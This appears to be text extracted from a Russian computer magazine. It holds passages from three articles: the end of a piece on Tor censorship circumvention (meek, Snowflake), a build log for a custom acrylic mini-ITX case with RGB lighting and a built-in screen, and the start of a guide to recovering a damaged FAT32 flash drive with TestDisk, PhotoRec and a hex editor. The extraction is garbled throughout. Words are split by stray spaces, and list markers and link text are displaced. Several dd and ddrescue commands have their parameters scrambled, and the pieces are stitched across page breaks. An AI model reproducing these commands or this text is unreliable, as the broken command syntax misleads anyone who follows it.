ное  имя  хос та,  с  которым  кли енту  и  тре бует ся  соеди нить ся,  спря тано
в заголов ке HTTP Host header. Про межу точ ный облачный сер вис опре деля ет
это имя и пересы лает зап рос сер веру meek, запущен ному на одном из мос‐ 
тов  Tor‐сети.  В  свою  оче редь, meek‐сер вер  рас шифро выва ет  тело  зап роса
и фор вардит его в сеть Tor, а отту да он попада ет в сво бод ный интернет.

domain fronting

Server Name Indication (SNI)

Схе ма работы meek

По мимо  нас трой ки  по  умол чанию  с  исполь зовани ем  Azure,  мож но  задать
собс твен ные  парамет ры  тран спор та  meek,  вот  .
Казалось бы, все прос то. Но не для всех.

под робная  инс трук ция

SNOWFLAKE
Хо рошо,  если  ты  в  сос тоянии  ска чать  и  нас тро ить  Tor  Browser  под  вин дой.
Хорошо, если ты можешь уста новить Linux и наб рать в кон соли 

  или  .  Но  мно гие  мил лионы  поль‐ 
зовате лей интерне та не уме ют и это го.

apt‐get in‐
stall  obfs4proxy apt‐get  install  Tor

Для решения этой проб лемы ребята из Tor Project раз работа ли бра узер‐ 
ное  рас ширение  на  JavaScript  под  наз вани ем  .  Дос таточ но  уста‐ 
новить  этот  пла гин  (или  зай ти  на  сайт  со  спе циаль ным  JS‐скрип том),  и  без
ска чива ния допол нитель ного соф та на тво ей машине под нима ется Tor‐мост,
который запус кает ся пря мо в бра узе ре. Он исполь зует   и кор рек тно
работа ет за NAT.

Snowflake

WebRTC

Схе ма работы Snowflake — иллюс тра ция с сай та Torproject.org

С исполь зовани ем Snowflake ков ровые бло киров ки теря ют смысл, потому что
ни  одно  пра витель ство  мира  не  спо соб но  заб локиро вать  все  бра узе ры
в интерне те. Теря ет смысл и глу бокая инспек ция тра фика с исполь зовани ем
DPI,  потому  что  тех нологию  WebRTC  исполь зует  легитим ный  софт  вро де
Google  Hangouts  и  мно жес тво  прог рамм  для  орга низа ции  виде окон ферен‐ 
ций.  Бло киров ка  потоко вых  дан ных  WebRTC  полома ет  всю  эту  инфраструк‐ 
туру.

С  исполь зовани ем  Snowflake  борь ба  с  цен зурой  обре ла  армию  доб‐ 
роволь цев, пре дос тавля ющих свои аппа рат ные ресур сы для обхо да бло киро‐ 
вок.  При  этом  совер шенно  не  обя затель но  уста нав ливать  бра узер ный  пла‐ 
гин  —  впол не  дос таточ но  открыть  веб‐стра ницу  с  Snowflake‐скрип том
в одной из вкла док бра узе ра или помес тить этот скрипт где‐нибудь на сво ем
сай те,  что бы  он  выпол нялся  при  прос мотре  веб‐стра ницы  в  фоновом
режиме.

Со  сво ей  сто роны  раз работ чики  Tor  ста рают ся  получать  обратную  связь
от  поль зовате лей  сети.  Сущес тву ют  и  незави симые  про екты  монито рин га
цен зуры вро де   — это при ложе ние,
поз воля ющее  прос каниро вать  сетевое  окру жение  поль зовате ля  в  поис ках
заб локиро ван ных ресур сов, про токо лов и сер висов.

Open ObservaTory  for Network  Interference

Как бы  то  ни было,  тех нологи ям борь бы с цен зурой еще пред сто ит  про‐ 
делать  дол гий  путь,  преж де  чем  они  дос тигнут  сво ей  мак сималь ной
эффектив ности.  Так,  на  DEF  CON  проз вучала  информа ция  о  том,  что  в  Tor
Project  активно  работа ют  над  исполь зовани ем  в  шиф ровании  тра фика  тех‐ 
нологии  . Она поз волит сде лать переда ваемый
тра фик  мак сималь но  похожим  на  обыч ный  незашиф рован ный  HTTP  и  тем
самым сбить с тол ку механиз мы глу боко го ана лиза.

Format‐Transforming Encryption

Дру гой  под ход  называ ется  «лож ной  мар шру тиза цией»  —  в  этом  слу чае
при уста нов ке SSL‐соеди нения один из про межу точ ных узлов ищет спе циаль‐ 
ный тег внут ри пакета SSL‐handshake и при его обна руже нии перенап равля ет
тра фик в Tor‐сеть. В то вре мя как мес тный интернет‐про вай дер про дол жает
счи тать, буд то кли ент обща ется с фей ковым уда лен ным сер вером из белого
спис ка, и не догады вает ся об изме нении мар шру та.

ВЫВОДЫ
Борь ба  с  цен зурой  дей стви тель но  похожа  на  гон ку  воору жений,  в  которой
с  одной  сто роны  выс тупа ют  пра витель ства  со  сво ими  бес край ними  ресур‐ 
сами и мно гомил лиар дные меж дународ ные кор порации, а с дру гой — общес‐ 
твен ные  орга низа ции  и  энту зиас ты,  дви жимые  чувс твом  спра вед ливос ти,
стрем лени ем к сво боде и шилом в извес тном мес те. При этом совер шенно
неоче вид но, кто из них победит.

На DEF CON Род жер Динг лдайн ска зал:

«Авс тра лия  под верга ет  цен зуре  свой  интернет,  в  Англии  есть  шту ка
под  наз вани ем  „Фонд  наб людения  за  интерне том“  (Internet  Watch
Foundation),  которая  явля ется  частью  их  пра витель ства.  Дания  цен- 
зуриру ет интернет, Шве ция цен зуриру ет интернет. Поэто му, ког да мы
руга ем пра витель ство Китая, не поз воля ющее сво им граж данам смот- 
реть BBC, оно впол не обос нован но заяв ляет, что дела ет в точ ности то
же  самое,  что  и  все  осталь ные…  Дело  не  толь ко  в  цен зуре:  важ но
прив лечь  вни мание  поль зовате лей  к  тому  фак ту,  что  за  ними  наб- 
люда ют. И тог да они смо гут самос тоятель но сде лать свой выбор».

И  в  этом  соос нователь  Tor  Project,  безус ловно,  прав.  Пока  сущес тву ет
интернет, выбор есть у каж дого.
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С МИНИ‐ЭКРАНОМ
И LED‐ПОДСВЕТКОЙ
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ТРЮКИ

Прош ли  те  вре мена,  ког да  компь ютер  был  гряз но‐белой
офис ной  короб кой.  Нынеш ние  пекар ни  свер кают  огня ми
и  раду ют  глаз  вла дель ца.  Одна ко  сбор ка  игро вого  ПК
из  готовых  деталей —  это  не  наш  путь,  да  и  парал лелепи‐ 
пед — скуч ная фор ма. В этой статье я рас ска жу, как я соз дал
пол ностью кас томный фигур ный кор пус mini‐ITX, снаб дил его
под свет кой и встро енным экра ном.

INFO

  —  это  форм‐фак тор  для  материн ских
плат.  Материн ские  пла ты  Mini‐ITX  отли чают ся
неболь шим раз мером: все го 170 на 170 мм.

Mini‐ITX

ПОДБОР КОМПЛЕКТУЮЩИХ
Что бы опре делить ся с внеш ними габари тами кор пуса, нуж но чет ко понимать,
какое железо  дол жно  помещать ся  в  него.  Я  собирал ся  соз дать  ком пак тный
кор пус для ком плек тующих ITX.

Мой кор пус дол жен вме щать:
ма терин скую пла ту mini‐ITX;•
блок питания Flex ATX 1U;•
ви деокар ту — низ копро филь ную с внут ренним виде овы ходом для под клю‐ 
чения встро енно го экра на;

•

дис ковую под систе му — два накопи теля 2,5";•
ох лажде ние — два вен тилято ра 80 мм.•

Еще  одной  фиш кой  моего  кор пуса  дол жен  стать  встро енный  дис плей,
который будет отоб ражать нуж ную мне информа цию.

Пос коль ку  я  решил  встро ить  экран  в  кор пус,  при  про екти рова нии  нуж но
учи тывать его раз меры. Пос ле изме рения основных ком плек тующих я сопос‐ 
тавил  их  с  раз мерами  дис плея  и  выб рал  семидюй мовый:  он  иде аль но  под‐ 
ходил по высоте и оставлял дос таточ но мес та для дру гих ком понен тов.

ИЗГОТОВЛЕНИЕ КОРПУСА
Я пла ниро вал  сде лать  кор пус  в фор ме  усе чен ного  с  двух  сто рон  цилин дра:
сза ди  дол жны  рас полагать ся  интерфей сные  разъ емы,  спе реди  —  встро‐ 
енный экран, по бокам — два кор пусных вен тилято ра.

Кор пус  такой  фор мы  мож но  сде лать  из  нес коль ких  матери алов:  отлить
из  эпок сидной  смо лы  или  сог нуть  из  лис товой  ста ли.  Но,  на  мой  взгляд,
самый прос той спо соб соб рать кор пус — нанизать кус ки вырезан ного нуж ной
фор мы акри ла один на один, а пос ле скле ить их. Я выб рал имен но этот вари‐ 
ант.

Сле дующий этап — соз дание чер тежа для порез ки акри ла.

Чер теж пер вой вер сии кор пуса

За тем я начал собирать кор пус, что бы при мерить его к железу.

Вид свер ху

Пос ле  при мер ки  пер вой  вер сии  кор пуса  я  решил  перера ботать  чер тежи:
умень шить тол щину сте нок кор пуса, что бы уве личить внут реннее прос транс‐ 
тво.

Ос новная  часть  кор пуса  сос тоит  из  деталей,  вырезан ных  из  проз рачно го
акри ла тол щиной 5 мм. Общая тол щина сред ней час ти кор пуса — 10 см.

Так выг лядела новая вер сия кор пуса

Те перь нуж но выров нять внеш нюю повер хность кор пуса. Я пок рыл его шпат‐ 
левкой  и  зачис тил  наж дачной  бумагой,  что бы  получи лась  иде аль но  глад кая
повер хность.

За чищать нуж но бумагой раз ной зер нистос ти, с каж дым разом уве личи вая
зер нистость.

Про цесс

Ре зуль тат

Что бы  соеди нить  основную  часть  кор пуса  с  дру гими  час тями,  я  прос верлил
сту пен чатым свер лом отвер стия по перимет ру кор пуса, а пос ле вкле ил гай ки
M5.

Ос новная часть  кор пуса  готова! Теперь прис тупа ем к изго тов лению вер‐ 
хней, ниж ней и зад ней кры шек.

Зад нюю  крыш ку,  на  которой  рас полага ются  интерфей сные  разъ емы,  я
изго товил  из  ста ли  тол щиной  1  мм.  Осталь ные  крыш ки  —  ради  сни жения
себес тоимос ти кор пуса — изго тов лены из фанеры и алю миния.

Вер хняя  и  зад няя  крыш ки  —  это  еди нич ные  плас тины  ста ли  и  фанеры
соот ветс твен но.

Ниж няя  крыш ка  —  четырех слой ный  бутер брод:  два  слоя  фанеры  тол‐ 
щиной 4 мм и 5 мм, слой алю миния — 3 мм, слой акри ла — 8 мм. Все это сде‐ 
лано для под свет ки RGB све тоди одной лен той.

На  сред нем  лис те  фанеры  ниж ней  крыш ки  есть  креп ления  для  двух
накопи телей форм‐фак тора 2,5". На детали из алю миния заготов лены отвер‐ 
стия для уста нов ки материн ской пла ты и сто ек под кор пусные вен тилято ры.

В  зад ней  крыш ке  про дела ны  отвер стия  для  кноп ки  вклю чения,  разъ емов
материн ской пла ты и бло ка питания и для  креп ления  к основной час ти  кор‐ 
пуса.

Свер ху — толь ко четыре отвер стия для креп ления к основной час ти  кор‐ 
пуса.

Лист алю миния, ниж няя крыш ка

Лист акри ла, ниж няя крыш ка

Лист фанеры, ниж няя крыш ка

Продолжение статьи →

mailto:big-jaw@mail.ru
https://ru.wikipedia.org/wiki/Mini-ITX
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Лист фанеры, вер хняя крыш ка

Лист ста ли, зад няя крыш ка

Я пок расил  все метал личес кие  час ти  чер ной порош ковой  крас кой и  соб рал
кор пус. Пос коль ку кор пус я пла ниро вал исполь зовать в качес тве рек ламно го
стен да, вто рой монитор под клю чать необ ходимос ти не было. Я решил обой‐ 
тись  встро енной  виде окар той:  под клю чил  кабель  VGA  к  материн ской  пла те
и  про ложил  его  внутрь  кор пуса.  Потом  спа ял  переход ник  —  удли нитель
для кабеля VGA.

Ни же — рас пинов ка разъ ема VGA.

Пос ле пол ной сбор ки кор пуса он выг лядит так.

ДОПОЛНИТЕЛЬНАЯ ЭЛЕКТРОНИКА И СОФТ

Ад ресная све тоди одная лен та

Ад ресная све тоди одная лен та — это лен та из адресных диодов. Один такой
све тоди од  сос тоит  из  RGB‐све тоди ода  и  кон трол лера.  Внут ри  све тоди ода
находит ся  кон трол лер  с  тре мя  тран зистор ными  выхода ми,  что  поз воля ет
управлять цве том любого све тоди ода в лен те.

Све тоди одная лен та в нашем кор пусе будет под све чивать его ниж нюю часть.
Я  выб рал  адресную  све тоди одную  лен ту  WS2812B  со  144  све тоди ода ми
на метр и с нап ряжени ем питания 5 В.

Что бы  управлять ей,  я  исполь зовал  кон трол лер Arduino Pro Mini,  который
прост  в  прог рамми рова нии  и  осво ении,  к  нему  есть  готовые  биб лиоте ки
для  управле ния  све тоди одны ми  лен тами.  Таких  биб лиотек  доволь но  мно го,
но я оста новил ся на FastLED.

Заг ружа ем  тес товую  про шив ку  FastLED  в  кон трол лер  и  под паиваем  лен ту
непос редс твен но  к  кон трол леру и  к  внут ренне му бло ку питания  компь юте ра
по  схе ме.  И  не  забывай,  что  кон трол лер  и  све тоди одная  лен та  пита ются
от 5 В.

Вкле иваем  лен ту  на  внут реннюю  грань  акри лово го  лис та  и  вклю чаем
питание.

Для  управле ния  встро енным  экра ном  я  раз работал  прог рамму,  которая
выводит  на  экран  фотог рафии  в  режиме  слайд‐шоу.  Писал  я  ее  на  Delphi
с исполь зовани ем сре ды раз работ ки Embarcadero RAD Studio Delphi 10 Seat‐
tle. Исходни ки я оста вил в фай лах моего про екта.

Прин цип  работы  прог раммы  прост:  добав ляешь  изоб ражения  в  пап ку  ,
а  саму  прог рамму  в  пап ку  авто заг рузки. При  пос леду ющих  запус ках  ты  уви‐ 
дишь  на  экра не  слайд‐шоу.  Так же  в  прог рамме  реали зова но  кон текс тное
меню, которое дос тупно из сис темно го трея. С его помощью мож но при оста‐ 
новить показ слай дов, вклю чить показ ста тич ного лого или про дол жить показ
слай дов.

img

ВЫВОДЫ
Ус трой ство получи лось необыч ной фор мы, с под свет кой RGB,  которую каж‐ 
дый  может  зап рограм мировать,  как  ему  нра вит ся,  и  встро енным  экра ном.
Если захочешь пов торить или  улуч шить мой про ект, исходни ки в  тво ем рас‐ 
поряже нии!

WWW

•Ад ресная све тоди одная лен та RGB
•Блок питания
•Ка бель VGA
•Arduino Pro Mini
•Кноп ка вклю чения
•Эк ран с кон трол лером
•Биб лиоте ка FastLED
•Фай лы про екта

https://www.youtube.com/watch?v=C4hBy7aVKxo
https://aliexpress.ru/item/4000165021272.html
https://aliexpress.ru/item/32623151735.html
https://aliexpress.ru/item/32861072213.html
https://aliexpress.ru/item/32890204657.html
https://aliexpress.ru/item/32823502225.html
https://aliexpress.ru/item/33013914908.html
http://wikihandbk.com/wiki/Arduino:%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D1%8B/%D0%93%D0%B0%D0%B9%D0%B4_%D0%BF%D0%BE_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E_%D1%81%D0%B2%D0%B5%D1%82%D0%BE%D0%B4%D0%B8%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9_%D0%BB%D0%B5%D0%BD%D1%82%D1%8B_WS2812B_%D1%81_Arduino#%D0%9A%D0%BE%D0%B4
https://cloud.mail.ru/public/3RT3/49FtQ3agp
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ТРЮКИ

Вос ста нов ление дан ных  с  нерабо тающих фле шек — час тая
прось ба,  с  которой  обра щают ся  к  «тыж прог раммис ту».
Давай  пос мотрим,  что мож но  сде лать  с  «уби той» флеш кой,
при меняя  такие  ути литы,  как  TestDisk  и  PhotoRec,  а  потом
и без них — исполь зуя Hex‐редак тор и голову на пле чах.

ПРЕДЫСТОРИЯ
Не дав но  ко  мне  при шел  товарищ  с  фра зой:  «У  меня  флеш ка  сло малась,
можешь пос мотреть? В прин ципе, если не получит ся, то и лад но, но там есть
нес коль ко фай лов, копий которых нет».

Я,  конеч но, флеш ку  взял и обе щал пос мотреть,  что мож но  сде лать.  Грех
не  помочь  дру гу!  Вход ные  дан ные  были  такие:  «вин да  перес тала  видеть
флеш ку». Дру гих внят ных объ ясне ний про изо шед шего я не добил ся.

И  вот,  ког да  выдалось  нем ного  сво бод ного  вре мени,  нас тала  пора  поп‐ 
робовать вос ста новить какие‐то дан ные с флеш ки.

INFO

В  этой  статье  рас смат рива ется  вос ста нов ление
фле шек  в  сре де  Linux.  В  Windows  тоже  мож но
вос ста нав ливать  дан ные:  есть  раз ные  ути литы
и проп риетар ные про дук ты (нап ример, R‐Studio),
но это тема для отдель ных ста тей.

Пер вым делом, под клю чив флеш ку к ноуту с Linux, я убе дил ся, что аппа рат ная
часть девай са жива, а пов режде ны имен но дан ные на ней.

Вто рое, что я сде лал, — снял образ.

Техника безопасности: снимаем образ
Са мая  важ ная  часть  в  вос ста нов лении  дан ных —  не  угро бить  сво ими  дей‐ 
стви ями еще боль ше дан ных. Все опи сыва емые в статье дей ствия про изво‐ 
дились исклю читель но с обра зом флеш ки. Снять образ мож но сле дующи ми
коман дами (тебе, конеч но, надо ука зать путь к сво ему устрой ству):

512 $ dd if=/dev/sdc of=flash.img bs=

Как вари ант, мож но исполь зовать коман ду ddrescue:

$ ddrescue /dev/sdc flash.img /tmp/flash.log 

Лич но  я  пред почитаю  вто рой  спо соб,  пос коль ку  ddrescue  пыта ется  счи тать
дан ные в нес коль ко про ходов, а так же (если ты дал коман ду писать лог) прер‐ 
вать чте ние и про дол жить с мес та оста нов ки. Плюс к это му ути лита дает кра‐ 
сивый  отчет  о  том,  сколь ко  дан ных  счи талось,  а  сколь ко  нет,  и  оцен ку  вре‐ 
мени до кон ца съема обра за.

Кро ме  того,  име ет  смысл  работать  с  копи ей  обра за.  Вдруг  ты  его
испортишь, и не факт, что получит ся еще раз снять образ с флеш ки, если она
уми рает  из‐за  аппа рат ных  проб лем.  Для  час тичных  копий  обра за  и  вос ста‐ 
нов ления  испорчен ных  час тей  к  началь ному  сос тоянию  рекомен дую  поль‐ 
зовать ся тем же все могу щим dd.

10M  1 $ ddrescue flash.img backup_part.img bs= count=
$ ddrescue backup_part.img flash.img conv=notrunc 

Па раметр  notrunc  нужен  для  того,  что бы  dd  не  обре зала  файл‐наз начение,
ког да закон чатся дан ные в фай ле‐источни ке.

Сняв образ флеш ки,  я  взгля нул  на  содер жимое.  Уви ден ное нес коль ко меня
уди вило.

 

 

 

$ hexdump ‐C flash.img|less

00000000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  
|................| 
 
00400000  01 76 0a 00 02 76 0a 00  03 76 0a 00 04 76 0a 00  
|.v...v...v...v..| 
00400010  05 76 0a 00 06 76 0a 00  07 76 0a 00 08 76 0a 00  
|.v...v...v...v..| 
00400020  09 76 0a 00 0a 76 0a 00  0b 76 0a 00 0c 76 0a 00  
|.v...v...v...v..| 
00400030  0d 76 0a 00 0e 76 0a 00  0f 76 0a 00 10 76 0a 00  
|.v...v...v...v..| 
00400040  11 76 0a 00 12 76 0a 00  13 76 0a 00 14 76 0a 00  
|.v...v...v...v..| 
...

*

В  обра зе  пер вые  4  Мбайт  дан ных  были  забиты  0xFF.  Пов режден  блок
флеш‐памяти? Чья‐то попыт ка сте реть дан ные? Сбой какого‐то при ложе ния?
Почему затер та область — неваж но. Глав ное, что у нас нет ни таб лицы раз‐ 
делов,  ни  струк туры фай ловой  сис темы...  Хотя  если  приг лядеть ся,  то  вид на
законо мер ность. Перед нами пос ледова тель ность уве личи вающих ся на еди‐ 
ницу  32‐бит ных  чисел  (в  фор мате  ):  0x000a7601,  0x000a7602,
0x000a7603... Сле дова тель но, у нас на флеш ке, ско рее все го, была фай ловая
сис тема  .

LittleEndian

FAT32
Что  ж,  поп робу ем  вос ста новить  дан ные.  Для  начала  возь мем  ути литу

TestDisk.

TESTDISK
 — не прос то ути лита, а мощ ный ком байн по вос ста нов лению дан ных.TestDisk

О TestDisk
TestDisk раз работан   и рас простра няет ся по лицен зии GPL
v2.  Эта  ути лита  пред назна чена  в  пер вую  оче редь  для  вос ста нов ления
потерян ных раз делов на носите лях информа ции, а так же для вос ста нов ления
заг рузоч ного сек тора.

Крис тофом Гренье

TestDisk может:
ис прав лять таб лицу раз делов, вос ста нав ливать уда лен ные раз делы;•
вос ста нав ливать заг рузоч ный сек тор FAT32 из резер вной копии;•
пе рес тра ивать (реконс тру иро вать) заг рузоч ный сек тор FAT12/FAT16/FAT32;•
ис прав лять таб лицу FAT;•
пе рес тра ивать (реконс тру иро вать) заг рузоч ный сек тор NTFS;•
вос ста нав ливать заг рузоч ный сек тор NTFS из резер вной копии;•
вос ста нав ливать MFT;•
оп ределять резер вный SuperBlock ext2/ext3/ext4;•
вос ста нав ливать уда лен ные фай лы на фай ловых сис темах FAT, NTFS и ext2;•
ко пиро вать фай лы с уда лен ных раз делов FAT, NTFS и ext2/ext3/ext4.•

За пус каем TestDisk такой коман дой:

$ testdisk flash.img 

Ви дим меню.

Стар товый экран TestDisk

Вы бира ем пун кты меню Procced → Intel → Analyse и получим сле дующее.

Вы бор типа раз метки

Вы бор опций

Таб лица раз делов

Еще одна таб лица раз делов

Ви дим, что TestDisk не нашел таб лицы раз делов. Ожи даемо, ведь она затер‐ 
та.  Поп робу ем  ее  вос ста новить  с  исполь зовани ем  «быс тро го  поис ка»  раз‐ 
делов на дис ке. Выбира ем пункт Quick Search.

Все еще без таб лицы раз делов

TestDisk  ничего не нашел,  но и  это ожи даемо,  ведь раз дел FAT32  тоже пов‐ 
режден.  TestDisk  теперь пред лага ет  нам про писать раз делы вруч ную,  но мы
не  зна ем,  что  где  лежало.  Поэто му  пока  отло жим  эту  ути литу  в  сто рону.
Для выхода дос таточ но нес коль ко раз нажать кноп ку q.

Что  ж,  возь мем  тог да  на  воору жение  дру гое  изоб ретение  того  же  авто‐ 
ра — PhotoRec.

PHOTOREC
 — это прог рамма для вос ста нов ления уте рян ных (уда лен ных) фай‐ 

лов.  Изна чаль но  она  раз рабаты валась  для  вос ста нов ления  изоб ражений
из памяти циф ровых камер, отсю да и наз вание — PHOTO RECovery. Со вре‐ 
менем  она  обросла  фун кци ями  вос ста нов ления  и  дру гих  типов  дан ных,
но наз вание оста лось.

PhotoRec

О PhotoRec
  ищет  извес тные  заголов ки  фай лов.  Если  нет  фраг мента ции,

которая час то быва ет, он может вос ста новить весь файл. PhotoRec рас позна‐ 
ет  мно гочис ленные  фор маты  фай лов,  вклю чая  ZIP,  Office,  PDF,  HTML,  JPEG
и дру гие фор маты гра фичес ких фай лов. Пол ный спи сок фор матов, под держи‐ 
ваемых  PhotoRec  содер жит  более  390  рас ширений  (око ло  225  семей ств
фор матов).

PhotoRec

Ес ли  дан ные  не  фраг менти рова ны,  вос ста нов ленный  файл  дол жен  быть
иден тично го раз мера или боль ше, чем исходный файл. В некото рых слу чаях
PhotoRec  может  узнать  ори гиналь ный  раз мер  фай ла  из  заголов ка,  так  что
вос ста нов ленный  файл  усе кает ся  до  необ ходимо го  раз мера.  Одна ко,  если
вос ста нов ленный файл закан чива ется рань ше, чем ука зыва ет его заголо вок,
он  отбра сыва ется.  Некото рые  фай лы,  такие  как  MP3,  пред став ляют  собой
поток  дан ных.  В  этом  слу чае  PhotoRec  ана лизи рует  получен ные  дан ные,
а затем оста нав лива ет вос ста нов ление, ког да поток завер шает ся.

Нат равим эту ути лит ку на наш образ флеш ки и пос мотрим, что получит ся.

$ photorec flash.img 

Стар товый экран PhotoRec

Ви дим уже зна комый интерфейс, выбира ем Proceed → Search → Other, ука‐ 
зыва ем  пап ку,  куда  сох ранять  (луч ше  ее  соз дать  заранее),  жмем  кноп ку  c.
И ждем.

Вы бор раз дела

Вы бор типа фай ловой струк туры

Вы бор пап ки наз начения

Про цесс вос ста нов ления

В ито ге получа ем нес коль ко папок с тысяча ми фай лов в них.

Ку ча сох ранен ных фай лов

Бег лый  осмотр  показал,  что  какие‐то  фай лы  вос ста нови лись:  и  докумен ты,
и  кар тинки,  и  исходни ки.  Но  нет  ни  имен  фай лов,  ни  даты  их  соз дания,
ни  струк туры  папок.  Кро ме  того,  как  ока залось,  на  флеш ке  была  какая‐то
докумен тация в виде стра ничек HTML с кучей мел ких кар тинок. В свя зи с чем
поиск цен ных фай лов занял бы не один час...

Да  и,  как  ука зано  на  врез ке,  фраг менти рован ные  фай лы  или  не  вос ста‐ 
нови лись, или пов режде ны (обре заны).

Ви димо, при дет ся нап рячь все свои силы и руками вос ста новить струк туру
FAT32.

ЧИНИМ FAT32
Для  вос ста нов ления  струк туры  FAT32  надо  вни матель но  почитать  докумен‐ 
тацию,  вычис лить  зна чения  клю чевых  парамет ров,  а  затем  внес ти  их  в  заг‐ 
рузоч ную запись FAT32. Крат ко суть струк туры FAT32 изоб ражена на рисун ке.

Сю да  вхо дит  заг рузоч ный  сек тор,  струк тура  FSInfo,  две  копии  таб лиц  FAT
и область  дан ных. Заг рузоч ный  сек тор  (он же BPB — Boot Parameter Block)
содер жит  основные  дан ные,  которые  опи сыва ют  харак терис тики  раз дела,
и код заг рузчи ка.

В  таб лице  FAT  хра нят ся  записи  номеров  сле дующих  клас теров  цепоч ки
фай ла/дирек тории,  приз нак  пос ледне го  клас тера  в  цепоч ке  (зна‐ 
чение 0xFFFFFFFF) или приз нак сво бод ного  клас тера  (зна чение 0). Область
дан ных начина ется с кор невой дирек тории, содер жимое даль нейшей области
зависит от дан ных в записях кор невой дирек тории и соот ветс тву ющих цепоч‐ 
ках  таб лицы  FAT.  Более  под робное  опи сание  фай ловой  сис темы  смот ри
по ссыл кам, при веден ным во врез ке.

WWW

  (Microsoft,
DOC)

•Офи циаль ная  спе цифи кация  FAT

 (GitHub, PDF)•Understanding FAT32 Filesystems
 (GitHub, PDF)•Design of the FAT file system

 (Hetman Data Recovery)
•Заг рузоч ный  сек тор,  FSINFO,  таб лица  FAT
и записи катало гов FAT

  («Инфо‐ 
педия»)

•Сис темные  струк туры  дан ных  FAT32

Для  удоб ной  работы  с  обра зом  нам  пот ребу ется  Hex‐редак тор.  Лич но  мне
очень нра вит ся редак тор  . Он  поз воля ет  задавать шаб лоны  струк‐ 
туры на C‐подоб ном язы ке и под све чивать поля струк туры в редак торе.

010 Editor

От кро ем в нем наш образ флеш ки.

Продолжение статьи →

mailto:icoz.vt@Gmail.com
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA_%D0%B1%D0%B0%D0%B9%D1%82%D0%BE%D0%B2
https://ru.wikipedia.org/wiki/FAT32
http://www.cgsecurity.org/wiki/TestDisk_RU
https://www.cgsecurity.org/
https://www.cgsecurity.org/wiki/PhotoRec_RU
https://www.cgsecurity.org/wiki/PhotoRec_RU
https://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/fatgen103.doc
https://github.com/dddrrreee/cs140e-20win/blob/master/labs/13-fat32/docs/pauls-fat32.annoted.pdf
https://github.com/dddrrreee/cs140e-20win/blob/master/labs/13-fat32/docs/wikipedia-fat32.annotated.pdf
https://hetmanrecovery.com/ru/recovery_news/fat-structures.htm
https://infopedia.su/17xc884.html
https://www.sweetscape.com/010editor/


ДАННЫМ — ЖИТЬ!
ВОССТАНАВЛИВАЕМ В LINUX ИНФОРМАЦИЮ

С «УБИТОЙ» ФЛЕШКИ

ТРЮКИ  НАЧАЛО СТАТЬИ←

Ищем смещения
Нач нем с того, что нам надо вычис лить адре са, с которых начина ются раз дел
FAT32 и пер вая копия таб лицы FAT.

Сна чала пой мем, пов режде на у нас пер вая копия FAT или обе. Из докумен‐ 
тации мы зна ем, что таб лица FAT начина ется с пос ледова тель нос ти 
 (чис ло 0xFFFFFFF8 в Little Endian). Поищем ее.

F8 FF FF

FF

По иск сиг натуры

Нам повез ло — такая сиг натура наш лась. Зна чит, пов режде на толь ко пер вая
копия  таб лицы FAT и мы можем ско пиро вать дан ные  вто рой  таб лицы в  пер‐ 
вую. Конеч но, сто ит пом нить, что если флеш ка была отклю чена вне зап но, то
вто рая копия может не пол ностью сов падать с пер вой (в нее прос то не успе‐ 
ли сох ранить ся изме нения). Но все же мы смо жем вос ста новить боль ше дан‐ 
ных, чем при помощи толь ко PhotoRec. Как минимум получим допол нитель но
име на фай лов, даты их соз дания, кор рек тные цепоч ки для фраг менти рован‐ 
ных фай лов и даже струк туру дирек торий.

Смот рим  адрес  —  0x8AE400.  Это  адрес  начала  вто рой  копии  таб лицы.
Теперь надо вычис лить дли ну самой таб лицы. Мож но, конеч но, руками полис‐ 
тать  дамп,  пока  не  заметим  дан ные  кор невой  дирек тории.  Но  есть  вари ант
поп роще. Пос коль ку это две копии, то и запись, с которой начина ется кусок
пер вой  копии  таб лицы,  дол жна  быть  и  во  вто рой  копии.  А  раз ница  меж ду
ними и будет раз мером!

По ищем пос ледова тель ность  , которую мы видели вна чале,
ког да  вос поль зовались  hexdump.  Быс тро  начина ют  находить ся  вари анты.
Оста новим поиск нажати ем ESC — нас инте ресу ют пер вые два вхож дения.

01 76 0A 00

Пер вое вхож дение пос ледова тель нос ти

Пер вое  вхож дение  (адрес  0x400000) — пер вая  уце лев шая  запись  в  пер вой
копии FAT. Перед ней затер тое прос транс тво.

Вто рое вхож дение пос ледова тель нос ти

Вто рое вхож дение  (по адре су 0xB4BC00) — эта же запись во вто рой  копии
FAT. Перед ней мы видим сох ранив шиеся дан ные цепочек.

Вы чис лим  раз мер  таб лицы  FAT:  0xB4BC00  –  0x400000  =  0x74BC00  байт.
Сле дова тель но, если выч тем этот раз мер из адре са начала вто рой копии таб‐ 
лицы,  то  получим  адрес  начала  пер вой  копии:  0x8AE400  –  0x74BC00  =
0x162800.

Итак,  у  нас  есть  сме щение  начала  таб лиц  FAT.  Теперь  надо  най ти  адрес
начала раз дела. Сог ласно дан ным в спе цифи каци ях и стать ях,  при веден ных
во  врез ке,  обыч но  пер вая  копия  таб лицы  начина ется  с  32‐го  сек тора.  Сек‐ 
тора,  напом ню,  по  512  байт,  зна чит,  начало  раз дела  дол жно  находить ся
по адре су 0x162800 – 32×512 = 0x15E800.

Кста ти,  зная раз меры таб лиц и сме щения их начала, можем най ти адрес
начала кор невой дирек тории.

Сме щение кор невой дирек тории рав но 0x15E800 + 32×512 + 2×0x74BC00
=  0xFFA000.  И  начина ется  она  записью  Transcend,  что,  оче вид но,  явля ется
мет кой раз дела.

От лично. Сме щения таб лиц, кор невой дирек тории и адрес начала раз дела
зна ем,  оста лось  при думать,  что  записать  в  заг рузоч ную  запись.  Мож но
сидеть и читать спе цифи кации, выс читывая каж дое зна чение. А я пред лагаю
сде лать ход конем! Соз даем пус той файл раз мером с раз дел. Далее мы его
фор матиру ем  в  FAT32.  Затем  копиру ем  пер вые  32  сек тора  в  наш  образ —
и готово! :)

Поп робу ем воп лотить этот план в жизнь.

Создаем загрузочную запись
Для начала опре делим раз мер раз дела.

 

 

 
‐rw‐r‐‐r‐‐ 1 user users 15676211200 сен  5 13:36 flash.img
$ ls ‐la flash.img

